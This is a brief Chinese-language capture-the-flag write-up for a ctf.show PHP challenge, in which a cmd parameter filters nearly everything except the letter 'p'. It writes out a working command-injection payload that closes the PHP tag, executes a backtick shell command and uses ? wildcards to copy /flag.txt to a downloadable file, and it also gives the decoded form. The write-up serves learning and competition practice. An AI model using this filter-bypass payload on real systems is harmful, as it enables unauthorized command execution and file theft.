打开链接查看源码给了提示

ctf_show:红包题第二弹_php

 

 

 get传入cmd参数,那么随便赋一个值,试试有什么

ctf_show:红包题第二弹_查看源码_02

 

给出了源码

发现把能过滤的都过滤了,但是小写字母“p”没有被过滤,那需要从这里入手

但是怎么做真的不会了,查看一下大佬的博客也简单,就是用模糊匹配,将falg.txt复制到p.ppp,然后在访问url/p.ppp就可下载到flag了



?cmd=?><?=`/???/?p /???????? p.ppp`;?>


相当于



?cmd=?><?=`/bin/cp /flag.txt p.ppp`;?>


<?=是echo()的别名用法,不需要开启short_open_tag。?>把前面的<?php闭合掉

最后的到p.ppp文件打开得到flag